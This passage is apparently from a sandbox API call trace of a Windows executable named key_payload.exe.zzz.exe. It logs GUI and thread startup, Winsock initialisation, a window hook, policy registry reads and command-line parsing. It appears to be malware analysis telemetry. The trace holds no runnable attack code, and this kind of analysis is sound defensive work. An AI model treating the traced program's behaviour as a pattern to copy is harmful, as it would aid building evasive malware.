returned 0xfbf310 [0094.091] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0xfc2738 [0094.093] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc16f [0094.096] RegisterClipboardFormatW (lpszFormat="AFX_WM_DRAW2D") returned 0xc170 [0094.096] RegisterClipboardFormatW (lpszFormat="AFX_WM_RECREATED2DRESOURCES") returned 0xc171 [0094.097] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_AFTER_SHELL_COMMAND") returned 0xc172 [0094.098] RegisterClipboardFormatW (lpszFormat="AFX_WM_CHANGEVISUALMANAGER") returned 0xc173 [0094.098] GetSystemMetrics (nIndex=11) returned 32 [0094.252] GetSystemMetrics (nIndex=12) returned 32 [0094.252] GetSystemMetrics (nIndex=2) returned 17 [0094.252] GetSystemMetrics (nIndex=3) returned 17 [0094.253] GetDC (hWnd=0x0) returned 0x10105e0 [0094.253] GetDeviceCaps (hdc=0x10105e0, index=88) returned 96 [0094.253] GetDeviceCaps (hdc=0x10105e0, index=90) returned 96 [0094.253] ReleaseDC (hWnd=0x0, hDC=0x10105e0) returned 1 [0094.253] GetSysColor (nIndex=15) returned 0xf0f0f0 [0094.253] GetSysColor (nIndex=16) returned 0xa0a0a0 [0094.253] GetSysColor (nIndex=20) returned 0xffffff [0094.253] GetSysColor (nIndex=18) returned 0x0 [0094.253] GetSysColor (nIndex=6) returned 0x646464 [0094.253] GetSysColorBrush (nIndex=15) returned 0x1100074 [0094.253] GetSysColorBrush (nIndex=6) returned 0x110007c [0094.253] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0094.254] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0094.254] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0094.254] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0094.254] VerifyVersionInfoW (in: lpVersionInformation=0xf3f924, dwTypeMask=0x3, dwlConditionMask=0x1b | out: lpVersionInformation=0xf3f924) returned 1 [0094.254] GetSystemMetrics (nIndex=4096) returned 0 [0094.254] GetSysColor (nIndex=22) returned 0xe3e3e3 [0094.254] GetSysColor (nIndex=21) returned 0x696969 [0094.255] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0094.256] LocalAlloc (uFlags=0x40, uBytes=0x54) returned 0xfbdc40 [0094.256] LocalReAlloc (hMem=0xfbf310, uBytes=0xc, uFlags=0x2) returned 0xfbf310 [0094.257] GetDeviceCaps (hdc=0xa0100d0, index=12) returned 32 [0094.257] GetSysColor (nIndex=15) returned 0xf0f0f0 [0094.257] GetSysColor (nIndex=16) returned 0xa0a0a0 [0094.258] GetSysColor (nIndex=21) returned 0x696969 [0094.258] GetSysColor (nIndex=22) returned 0xe3e3e3 [0094.258] GetSysColor (nIndex=20) returned 0xffffff [0094.258] GetSysColor (nIndex=18) returned 0x0 [0094.258] GetSysColor (nIndex=17) returned 0x6d6d6d [0094.258] GetSysColor (nIndex=6) returned 0x646464 [0094.258] GetSysColor (nIndex=13) returned 0xff9933 [0094.258] GetSysColor (nIndex=14) returned 0xffffff [0094.259] GetSysColor (nIndex=5) returned 0xffffff [0094.259] GetSysColor (nIndex=8) returned 0x0 [0094.259] GetSysColor (nIndex=9) returned 0x0 [0094.259] GetSysColor (nIndex=7) returned 0x0 [0094.259] GetSysColor (nIndex=2) returned 0xd1b499 [0094.259] GetSysColor (nIndex=3) returned 0xdbcdbf [0094.259] GetSysColor (nIndex=27) returned 0xead1b9 [0094.259] GetSysColor (nIndex=28) returned 0xf2e4d7 [0094.259] GetSysColor (nIndex=10) returned 0xb4b4b4 [0094.259] GetSysColor (nIndex=11) returned 0xfcf7f4 [0094.259] GetSysColor (nIndex=19) returned 0x0 [0094.259] GetSysColor (nIndex=26) returned 0xcc6600 [0094.259] GetSysColorBrush (nIndex=16) returned 0x1100075 [0094.259] GetSysColorBrush (nIndex=20) returned 0x1100076 [0094.259] GetSysColorBrush (nIndex=5) returned 0x110007b [0094.259] CreateSolidBrush (color=0xf0f0f0) returned 0xc10071c [0094.260] CreateSolidBrush (color=0xf0f0f0) returned 0x551006b7 [0094.260] CreateSolidBrush (color=0xd1b499) returned 0x910063a [0094.260] CreateSolidBrush (color=0xdbcdbf) returned 0xc100637 [0094.260] CreateSolidBrush (color=0xff9933) returned 0x1710073a [0094.260] CreateSolidBrush (color=0x696969) returned 0x510073f [0094.261] CreateSolidBrush (color=0xffffff) returned 0x1210071b [0094.261] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0x26300722 [0094.261] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0xb30071e [0094.261] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0x5300740 [0094.261] CreateSolidBrush (color=0xf7f7f7) returned 0x6100742 [0094.262] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0094.263] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0094.263] GetDeviceCaps (hdc=0xa0100d0, index=88) returned 96 [0094.263] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0xf3f6ac, fWinIni=0x0 | out: pvParam=0xf3f6ac) returned 1 [0094.271] GetTextCharsetInfo (in: hdc=0xa0100d0, lpSig=0x0, dwFlags=0x0 | out: lpSig=0x0) returned 0 [0094.271] lstrcpyW (in: lpString1=0xf3f8c0, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0094.271] EnumFontFamiliesW (hdc=0xa0100d0, lpLogfont=0x0, lpProc=0x1167ea8, lParam=0x1312eec) returned 0 [0094.280] lstrcpyW (in: lpString1=0xf3f8c0, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0094.280] CreateFontIndirectW (lplf=0xf3f8a4) returned 0x180a01b3 [0094.280] CreateFontIndirectW (lplf=0xf3f8a4) returned 0xf0a01af [0094.280] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0xf3f4b4, fWinIni=0x0 | out: pvParam=0xf3f4b4) returned 1 [0094.280] CreateFontIndirectW (lplf=0xf3f8a4) returned 0x230a054d [0094.280] CreateFontIndirectW (lplf=0xf3f8a4) returned 0x40a072e [0094.280] CreateFontIndirectW (lplf=0xf3f8a4) returned 0x40a072a [0094.281] GetSystemMetrics (nIndex=72) returned 15 [0094.281] lstrcpyW (in: lpString1=0xf3f8c0, lpString2="Marlett" | out: lpString1="Marlett") returned="Marlett" [0094.281] CreateFontIndirectW (lplf=0xf3f8a4) returned 0x40a0733 [0094.281] GetStockObject (i=17) returned 0x18a0025 [0094.281] GetObjectW (in: h=0x18a0025, c=92, pv=0xf3f8a4 | out: pv=0xf3f8a4) returned 92 [0094.281] lstrcpyW (in: lpString1=0xf3f8c0, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0094.281] CreateFontIndirectW (lplf=0xf3f8a4) returned 0x40a0732 [0094.281] CreateFontIndirectW (lplf=0xf3f8a4) returned 0x1f0a0649 [0094.282] GetStockObject (i=17) returned 0x18a0025 [0094.282] GetObjectW (in: h=0x18a0025, c=92, pv=0xf3f8a4 | out: pv=0xf3f8a4) returned 92 [0094.282] CreateFontIndirectW (lplf=0xf3f8a4) returned 0x2c0a06c7 [0094.282] CreateFontIndirectW (lplf=0xf3f8a4) returned 0x420a06a9 [0094.282] GetWindowDC (hWnd=0x0) returned 0x3010738 [0094.283] SelectObject (hdc=0x3010738, h=0x180a01b3) returned 0x18a0048 [0094.283] GetTextMetricsW (in: hdc=0x3010738, lptm=0xf3f428 | out: lptm=0xf3f428) returned 1 [0094.283] SelectObject (hdc=0x3010738, h=0x40a0732) returned 0x180a01b3 [0094.283] GetTextMetricsW (in: hdc=0x3010738, lptm=0xf3f428 | out: lptm=0xf3f428) returned 1 [0094.283] SelectObject (hdc=0x3010738, h=0x18a0048) returned 0x40a0732 [0094.284] ReleaseDC (hWnd=0x0, hDC=0x3010738) returned 1 [0094.284] DeleteObject (ho=0x18a0025) returned 1 [0094.284] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0094.284] GetSystemMetrics (nIndex=49) returned 16 [0094.284] GetSystemMetrics (nIndex=50) returned 16 [0094.284] SetRectEmpty (in: lprc=0x1394594 | out: lprc=0x1394594) returned 1 [0094.284] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1168030, dwData=0x1394594) returned 1 [0094.284] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xf3f840 | out: lpmi=0xf3f840) returned 1 [0094.285] CopyRect (in: lprcDst=0xf3f868, lprcSrc=0xf3f854 | out: lprcDst=0xf3f868) returned 1 [0094.285] SystemParametersInfoW (in: uiAction=0x1002, uiParam=0x0, pvParam=0x13945b8, fWinIni=0x0 | out: pvParam=0x13945b8) returned 1 [0094.285] SystemParametersInfoW (in: uiAction=0x1012, uiParam=0x0, pvParam=0x13945bc, fWinIni=0x0 | out: pvParam=0x13945bc) returned 1 [0094.285] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x13945cc, fWinIni=0x0 | out: pvParam=0x13945cc) returned 1 [0094.286] RegisterClipboardFormatW (lpszFormat="TOOLBAR_POPUPMENU") returned 0xc174 [0094.286] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CUSTOMIZE") returned 0xc175 [0094.286] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CREATE") returned 0xc176 [0094.286] RegisterClipboardFormatW (lpszFormat="TOOLBAR_DELETE") returned 0xc177 [0094.286] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CUSTOMIZEHELP") returned 0xc178 [0094.286] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETTOOLBAR") returned 0xc179 [0094.286] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETMENU") returned 0xc17a [0094.286] RegisterClipboardFormatW (lpszFormat="TOOLBAR_SHOWREGULARMENU") returned 0xc17b [0094.286] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETCONTEXTMENU") returned 0xc17c [0094.286] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETKEYBAORD") returned 0xc17d [0094.286] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETRPROMPT") returned 0xc17e [0094.287] GetProfileIntW (lpAppName="windows", lpKeyName="DragMinDist", nDefault=2) returned 0x2 [0094.289] GetProfileIntW (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0094.295] RegisterClipboardFormatW (lpszFormat="MSG_CHECKEMPTYMINIFRAME") returned 0xc17f [0094.346] RegisterClipboardFormatW (lpszFormat="AFX_WM_UPDATETOOLTIPS") returned 0xc180 [0094.347] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_RENAME_TAB") returned 0xc181 [0094.347] RegisterClipboardFormatW (lpszFormat="AFX_WM_ONCHANGE_ACTIVE_TAB") returned 0xc182 [0094.347] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVE_TAB") returned 0xc183 [0094.347] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CHANGING_ACTIVE_TAB") returned 0xc184 [0094.347] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_GET_TAB_TOOLTIP") returned 0xc185 [0094.348] RegisterClipboardFormatW (lpszFormat="AFX_WM_POSTSETPREVIEWFRAME") returned 0xc186 [0094.348] GetSystemMetrics (nIndex=69) returned 4 [0094.348] GetSystemMetrics (nIndex=68) returned 4 [0094.348] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_PRESS_CLOSE_BUTTON") returned 0xc187 [0094.350] RegisterClipboardFormatW (lpszFormat="AFX_WM_AFTER_TASKBAR_ACTIVATE") returned 0xc188 [0094.351] RegisterClipboardFormatW (lpszFormat="AFX_WM_CHANGE_CURRENT_FOLDER") returned 0xc189 [0094.353] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_HSCROLL") returned 0xc18a [0094.354] RegisterClipboardFormatW (lpszFormat="AFX_WM_GETDRAGBOUNDS") returned 0xc18b [0094.354] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_DRAGCOMPLETE") returned 0xc18c [0094.354] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_TABGROUPMOUSEMOVE") returned 0xc18d [0094.354] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CANCELTABMOVE") returned 0xc18e [0094.354] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVETABCOMPLETE") returned 0xc18f [0094.356] RegisterClipboardFormatW (lpszFormat="AFX_WM_PROPERTYCHANGED") returned 0xc190 [0094.357] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0094.357] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0094.357] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0094.357] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0094.357] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0094.357] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0094.357] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0094.357] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0094.357] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0094.357] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0094.357] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc075 [0094.357] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc07e [0094.358] RegisterClipboardFormatW (lpszFormat="AFX_WM_POSTRECALCLAYOUT") returned 0xc191 [0094.358] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CHANGE_RIBBON_CATEGORY") returned 0xc192 [0094.358] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_RIBBON_CUSTOMIZE") returned 0xc193 [0094.358] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_HIGHLIGHT_RIBBON_LIST_ITEM") returned 0xc194 [0094.358] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_BEFORE_SHOW_RIBBON_ITEM_MENU") returned 0xc195 [0094.359] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVETOTABGROUP") returned 0xc196 [0094.360] RegisterClipboardFormatW (lpszFormat="WINDOW_HELP") returned 0xc197 [0094.361] RegisterClipboardFormatW (lpszFormat="TOOLBAR__GETDOCUMENTCOLORS") returned 0xc198 [0094.363] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc199 [0094.364] GetCurrentThreadId () returned 0xf88 [0094.431] GetVersionExW (in: lpVersionInformation=0xf3f798*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xfc1700, dwMinorVersion=0x2, dwBuildNumber=0x0, dwPlatformId=0xfc1700, szCSDVersion="") | out: lpVersionInformation=0xf3f798*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0094.431] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0094.431] GetProcAddress (hModule=0x75130000, lpProcName=0x1347bf0) returned 0x75172720 [0094.432] GetProcAddress (hModule=0x75130000, lpProcName="GetThreadGroupAffinity") returned 0x751713f0 [0094.432] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0094.432] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessorNumberEx") returned 0x779ebd70 [0094.432] LoadLibraryExW (lpLibFileName="combase.dll", hFile=0x0, dwFlags=0x800) returned 0x74f70000 [0094.433] GetModuleHandleW (lpModuleName="combase.dll") returned 0x74f70000 [0094.433] GetProcAddress (hModule=0x74f70000, lpProcName="RoInitialize") returned 0x75045b90 [0094.433] GetModuleHandleW (lpModuleName="combase.dll") returned 0x74f70000 [0094.433] GetProcAddress (hModule=0x74f70000, lpProcName="RoUninitialize") returned 0x750495f0 [0094.433] GetCurrentProcess () returned 0xffffffff [0094.433] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4 | out: lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4) returned 1 [0094.433] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0094.433] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformationEx") returned 0x74e04360 [0094.434] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x139a0c4 | out: Buffer=0x0, ReturnedLength=0x139a0c4) returned 0 [0094.434] GetLastError () returned 0x7a [0094.434] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0xff4390, ReturnedLength=0x139a0c4 | out: Buffer=0xff4390, ReturnedLength=0x139a0c4) returned 1 [0094.434] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x74c60000 [0094.435] GetProcAddress (hModule=0x74c60000, lpProcName="RegisterTraceGuidsW") returned 0x779c09d0 [0094.435] GetProcAddress (hModule=0x74c60000, lpProcName="UnregisterTraceGuids") returned 0x779c07c0 [0094.435] GetProcAddress (hModule=0x74c60000, lpProcName="TraceEvent") returned 0x77a75ec0 [0094.435] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceLoggerHandle") returned 0x779f4520 [0094.435] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceEnableLevel") returned 0x779f4ed0 [0094.435] GetProcAddress (hModule=0x74c60000, lpProcName="GetTraceEnableFlags") returned 0x779f4ea0 [0094.435] EtwRegisterTraceGuidsW () returned 0x0 [0094.436] RtlInitializeSListHead (in: ListHead=0xff43f8 | out: ListHead=0xff43f8) [0094.436] RtlInitializeSListHead (in: ListHead=0xff4400 | out: ListHead=0xff4400) [0094.436] RtlInitializeSListHead (in: ListHead=0xff4460 | out: ListHead=0xff4460) [0094.436] RtlInitializeSListHead (in: ListHead=0xff4468 | out: ListHead=0xff4468) [0094.437] RtlInitializeSListHead (in: ListHead=0xff4580 | out: ListHead=0xff4580) [0094.437] RtlInitializeSListHead (in: ListHead=0xff4588 | out: ListHead=0xff4588) [0094.437] RtlInitializeSListHead (in: ListHead=0xff4590 | out: ListHead=0xff4590) [0094.437] RtlInitializeSListHead (in: ListHead=0xff4598 | out: ListHead=0xff4598) [0094.437] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x208 [0094.437] RegisterWaitForSingleObject (in: phNewWaitObject=0xff4574, hObject=0x208, Callback=0x12e6468, Context=0xff4398, dwMilliseconds=0xffffffff, dwFlags=0x0 | out: phNewWaitObject=0xff4574*=0xfc9818) returned 1 [0094.437] CreateThreadpoolTimer (in: pfnti=0x12e644a, pv=0xff4398, pcbe=0x0 | out: pv=0xff4398) returned 0xfb6a60 [0094.437] GetModuleHandleA (lpModuleName=0x0) returned 0x1110000 [0094.437] TpSetTimer (in: pti=0xfb6a60, pftDueTime=0xf3f8b4, msPeriod=0x7fffffff, msWindowLength=0x0 | out: pti=0xfb6a60) [0094.437] GetCurrentProcess () returned 0xffffffff [0094.438] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4 | out: lpProcessAffinityMask=0x139a0a0, lpSystemAffinityMask=0x139a0a4) returned 1 [0094.438] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0094.438] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformationEx") returned 0x74e04360 [0094.438] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x139a0c4 | out: Buffer=0x0, ReturnedLength=0x139a0c4) returned 0 [0094.438] GetLastError () returned 0x7a [0094.438] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0xffdde8, ReturnedLength=0x139a0c4 | out: Buffer=0xffdde8, ReturnedLength=0x139a0c4) returned 1 [0094.439] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x210 [0094.439] GetNumaHighestNodeNumber (in: HighestNodeNumber=0xf3f8fc | out: HighestNodeNumber=0xf3f8fc) returned 1 [0094.439] RtlInterlockedPopEntrySList (in: ListHead=0xff43f8 | out: ListHead=0xff43f8) returned 0x0 [0094.439] RtlInitializeSListHead (in: ListHead=0xfc1890 | out: ListHead=0xfc1890) [0094.439] RtlInitializeSListHead (in: ListHead=0xfc1898 | out: ListHead=0xfc1898) [0094.440] RtlInitializeSListHead (in: ListHead=0xfc18e0 | out: ListHead=0xfc18e0) [0094.440] RtlInitializeSListHead (in: ListHead=0xfc18e8 | out: ListHead=0xfc18e8) [0094.440] RtlInterlockedPopEntrySList (in: ListHead=0xfc18e0 | out: ListHead=0xfc18e0) returned 0x0 [0094.440] RtlInitializeSListHead (in: ListHead=0xfc4840 | out: ListHead=0xfc4840) [0094.440] RtlInitializeSListHead (in: ListHead=0xfc4848 | out: ListHead=0xfc4848) [0094.440] RtlInitializeSListHead (in: ListHead=0xfc4890 | out: ListHead=0xfc4890) [0094.440] RtlInitializeSListHead (in: ListHead=0xfc4898 | out: ListHead=0xfc4898) [0094.441] RtlInitializeSListHead (in: ListHead=0xfc1980 | out: ListHead=0xfc1980) [0094.441] RtlInitializeSListHead (in: ListHead=0xfc1988 | out: ListHead=0xfc1988) [0094.442] RtlInterlockedPopEntrySList (in: ListHead=0xfc1980 | out: ListHead=0xfc1980) returned 0x0 [0094.444] GetTickCount64 () returned 0x1e8e4 [0094.444] RtlInterlockedPopEntrySList (in: ListHead=0xfc1980 | out: ListHead=0xfc1980) returned 0x0 [0094.444] GetTickCount64 () returned 0x1e8e4 [0094.444] RtlInterlockedPopEntrySList (in: ListHead=0xfc1980 | out: ListHead=0xfc1980) returned 0x0 [0094.444] GetTickCount64 () returned 0x1e8e4 [0094.444] RtlInterlockedPopEntrySList (in: ListHead=0xfc1980 | out: ListHead=0xfc1980) returned 0x0 [0094.445] GetTickCount64 () returned 0x1e8e4 [0094.445] CreateSemaphoreExW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=2147483647, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0003) returned 0x214 [0094.445] RtlInterlockedPopEntrySList (in: ListHead=0xff4588 | out: ListHead=0xff4588) returned 0x0 [0094.445] CreateEventExW (lpEventAttributes=0x0, lpName=0x0, dwFlags=0x0, dwDesiredAccess=0x1f0002) returned 0x218 [0094.446] GetCurrentThreadId () returned 0xf88 [0094.446] GetCurrentProcess () returned 0xffffffff [0094.446] GetCurrentThread () returned 0xfffffffe [0094.446] GetCurrentProcess () returned 0xffffffff [0094.446] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0xfc0484, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xfc0484*=0x21c) returned 1 [0094.446] CreateThreadpoolWait (in: pfnwa=0x12f1211, pv=0xfc03e0, pcbe=0x0 | out: pv=0xfc03e0) returned 0x1008c58 [0094.446] GetModuleHandleA (lpModuleName=0x0) returned 0x1110000 [0094.446] TpSetWait (in: pwa=0x1008c58, h=0x21c, pftTimeout=0x0 | out: pwa=0x1008c58) [0094.447] GetCurrentThreadId () returned 0xf88 [0094.448] GetCurrentThreadId () returned 0xf88 [0094.448] GetCurrentThreadId () returned 0xf88 [0094.449] GetCurrentThreadId () returned 0xf88 [0094.449] GetCurrentThreadId () returned 0xf88 [0094.454] GetCursorPos (in: lpPoint=0xfc1554 | out: lpPoint=0xfc1554*(x=814, y=481)) returned 1 [0094.454] GetCurrentThread () returned 0xfffffffe [0094.454] GetCurrentThreadId () returned 0xf88 [0094.454] GetVersionExW (in: lpVersionInformation=0xf3f928*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0xf3f948, dwBuildNumber=0x127f864, dwPlatformId=0x18, szCSDVersion="\x01") | out: lpVersionInformation=0xf3f928*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0094.455] GetLastError () returned 0x0 [0094.456] SetLastError (dwErrCode=0x0) [0094.456] GetLastError () returned 0x0 [0094.456] SetLastError (dwErrCode=0x0) [0094.456] GetLastError () returned 0x0 [0094.456] SetLastError (dwErrCode=0x0) [0094.456] GetLastError () returned 0x0 [0094.456] SetLastError (dwErrCode=0x0) [0094.456] GetLastError () returned 0x0 [0094.456] SetLastError (dwErrCode=0x0) [0094.456] GetLastError () returned 0x0 [0094.456] SetLastError (dwErrCode=0x0) [0094.456] GetLastError () returned 0x0 [0094.457] SetLastError (dwErrCode=0x0) [0094.457] GetLastError () returned 0x0 [0094.457] SetLastError (dwErrCode=0x0) [0094.457] GetLastError () returned 0x0 [0094.457] SetLastError (dwErrCode=0x0) [0094.457] GetLastError () returned 0x0 [0094.457] SetLastError (dwErrCode=0x0) [0094.457] GetLastError () returned 0x0 [0094.457] SetLastError (dwErrCode=0x0) [0094.457] GetLastError () returned 0x0 [0094.457] SetLastError (dwErrCode=0x0) [0094.457] GetLastError () returned 0x0 [0094.457] SetLastError (dwErrCode=0x0) [0094.457] GetLastError () returned 0x0 [0094.458] SetLastError (dwErrCode=0x0) [0094.458] GetLastError () returned 0x0 [0094.458] SetLastError (dwErrCode=0x0) [0094.458] GetLastError () returned 0x0 [0094.458] SetLastError (dwErrCode=0x0) [0094.458] GetLastError () returned 0x0 [0094.458] SetLastError (dwErrCode=0x0) [0094.458] GetLastError () returned 0x0 [0094.458] SetLastError (dwErrCode=0x0) [0094.460] WSAStartup (in: wVersionRequired=0x2, lpWSAData=0xf3f8d8 | out: lpWSAData=0xf3f8d8) returned 0 [0094.465] SetErrorMode (uMode=0x0) returned 0x0 [0094.465] SetErrorMode (uMode=0x8001) returned 0x0 [0094.465] GetModuleFileNameW (in: hModule=0x1110000, lpFilename=0xf3f84c, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0094.465] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned=".exe" [0094.465] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz") returned="key_payload.exe.zzz" [0094.465] FindResourceW (hModule=0x1110000, lpName=0xe01, lpType=0x6) returned 0x0 [0094.465] FindResourceW (hModule=0x1110000, lpName=0xe01, lpType=0x6) returned 0x0 [0094.466] GetCurrentThreadId () returned 0xf88 [0094.466] SetWindowsHookExW (idHook=-1, lpfn=0x1164207, hmod=0x0, dwThreadId=0xf88) returned 0x2e0113 [0094.466] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", ulOptions=0x0, samDesired=0x1, phkResult=0xf3fa68 | out: phkResult=0xf3fa68*=0x0) returned 0x2 [0094.466] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Network", ulOptions=0x0, samDesired=0x1, phkResult=0xf3fa68 | out: phkResult=0xf3fa68*=0x0) returned 0x2 [0094.466] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Comdlg32", ulOptions=0x0, samDesired=0x1, phkResult=0xf3fa68 | out: phkResult=0xf3fa68*=0x0) returned 0x2 [0094.466] GetTempPathW (in: nBufferLength=0x400, lpBuffer=0x100d4e0 | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\") returned 0x25 [0094.466] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" " [0094.466] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" ", pNumArgs=0xf3f23c | out: pNumArgs=0xf3f23c) returned 0x100dcf0*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0094.467] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned="key_payload.exe.zzz.exe" [0094.467] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x100de18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0094.499] PathAppendW (in: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", pMore="key_payload.exe.zzz.exe" | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned 1 [0094.500] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" " [0094.500] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" ", pNumArgs=0xf34460 | out: pNumArgs=0xf34460) returned 